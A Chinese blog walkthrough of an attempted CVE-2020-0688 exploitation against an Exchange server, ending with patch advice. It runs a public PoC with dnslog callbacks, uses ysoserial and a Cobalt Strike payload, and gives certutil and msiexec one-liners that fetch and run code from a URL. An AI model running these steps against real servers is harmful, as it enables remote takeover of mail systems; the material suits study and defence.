【实战篇】记一次CVE-2020-0688的漏洞利用

  • A+
所属分类:安全文章
【实战篇】记一次CVE-2020-0688的漏洞利用
点击上方“公众号” 可以订阅哦!

Hello,各位小伙伴大家好~【实战篇】记一次CVE-2020-0688的漏洞利用【实战篇】记一次CVE-2020-0688的漏洞利用

【实战篇】记一次CVE-2020-0688的漏洞利用

这里是你们的小编Monster~

【实战篇】记一次CVE-2020-0688的漏洞利用

今天来记录一次Outlook漏洞cve-2020-0688的利用。

【实战篇】记一次CVE-2020-0688的漏洞利用

虽然最后没拿到shell,但是还是来看看其中用到的一些方法吧~

【实战篇】记一次CVE-2020-0688的漏洞利用


Part.1

漏洞说明


漏洞效果

CVE-2020-0688是一个Exchange服务上的漏洞,利用这个漏洞,攻击者可通过Exchange服务上的普通用户权限,在服务器中以SYSTEM权限远程执行代码,从而接管整个Exchange服务器。


该漏洞执行的前提,是需要先获取到一个普通用户的用户名、口令。


【实战篇】记一次CVE-2020-0688的漏洞利用


影响范围

影响所有版本的Exchang Server:

Microsoft Exchange Server 2010 Service Pack 3Microsoft Exchange Server 2013Microsoft Exchange Server 2016Microsoft Exchange Server 2019
【实战篇】记一次CVE-2020-0688的漏洞利用


Part.2

漏洞利用


漏洞利用

首先目标系统是Outlook登录页:

【实战篇】记一次CVE-2020-0688的漏洞利用

通过查看网页源代码,可以找到版本号15.0.1497:

【实战篇】记一次CVE-2020-0688的漏洞利用

通过以下链接可以查询到对应的版本:

https://docs.microsoft.com/zh-cn/Exchange/new-features/build-numbers-and-release-dates?view=exchserver-2019
【实战篇】记一次CVE-2020-0688的漏洞利用

利用该漏洞需要登陆普通用户,在https://ip/ecp/default.aspx页面下获取generator和viewstateuserkey这两个值。


可以通过POC自动读取并利用,POC地址:

https://github.com/Jumbo-WJB/CVE-2020-0688

//也可以公众号回复CVE-2020-0688下载~


首先尝试执行ping dnslog:

python cve-2020-0688.py -s https://ip/owa/-u user -p pass -c "ping test.ph4nxq.dnslog.cn"

【实战篇】记一次CVE-2020-0688的漏洞利用

利用ysoserial将上面的结果反序列化处理:

【实战篇】记一次CVE-2020-0688的漏洞利用

输入ysoserial获取的payload,得到exp并执行:

【实战篇】记一次CVE-2020-0688的漏洞利用

//执行后服务器会返回500


Dnslog显示命令执行成功:

【实战篇】记一次CVE-2020-0688的漏洞利用

通过cs生成powershell payload:

【实战篇】记一次CVE-2020-0688的漏洞利用

并将payload进行base64加密处理:

http://www.jackson-t.ca/runtime-exec-payloads.html
【实战篇】记一次CVE-2020-0688的漏洞利用

用同样的方法将payload反序列化处理:

【实战篇】记一次CVE-2020-0688的漏洞利用

输入获取的payload并执行:

【实战篇】记一次CVE-2020-0688的漏洞利用

//查看cs并未上线,weblog也没有访问记录


尝试certutil访问dnslog:

cmd /c certutil-urlcache -split -f http://url
【实战篇】记一次CVE-2020-0688的漏洞利用

//也可以用msiexec命令:msiexec /q /i http://url


Dnslog未接受到请求:

【实战篇】记一次CVE-2020-0688的漏洞利用

//尝试到此,判断为漏洞存在,但可能被杀软拦截或者TCP不出网。


【实战篇】记一次CVE-2020-0688的漏洞利用


关于dnslog的一些测试

顺带测试了一下ping dnslog,和http访问dnslog有什么区别。

(1)ping

通过ping方式访问,会接收到dns报文:

【实战篇】记一次CVE-2020-0688的漏洞利用


(2)http://dnslog

通过http://dnslog方式访问,会使用dns和http(tcp)两种协议:

【实战篇】记一次CVE-2020-0688的漏洞利用

但如果存在dns缓存,则只会发送http报文:

【实战篇】记一次CVE-2020-0688的漏洞利用

完毕~


【实战篇】记一次CVE-2020-0688的漏洞利用


修复建议

通过以下补丁进行升级:

Microsoft Exchange Server 2010 Service Pack 3 Update Rollup 30 KB4536989Microsoft Exchange Server 2013 Cumulative Update 23 KB4536988Microsoft Exchange Server 2016 Cumulative Update 14 KB4536987Microsoft Exchange Server 2016 Cumulative Update 15 KB4536987Microsoft Exchange Server 2019 Cumulative Update 3 KB4536987Microsoft Exchange Server 2019 Cumulative Update 4 KB4536987
【实战篇】记一次CVE-2020-0688的漏洞利用


Part.3

结语


以上就是今天的全部内容了~

【实战篇】记一次CVE-2020-0688的漏洞利用

欢迎关注我的个人微信公众号。

【实战篇】记一次CVE-2020-0688的漏洞利用

Peace !【实战篇】记一次CVE-2020-0688的漏洞利用

“在看”我吗?

【实战篇】记一次CVE-2020-0688的漏洞利用

本文始发于微信公众号(一名白帽的成长史):【实战篇】记一次CVE-2020-0688的漏洞利用

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: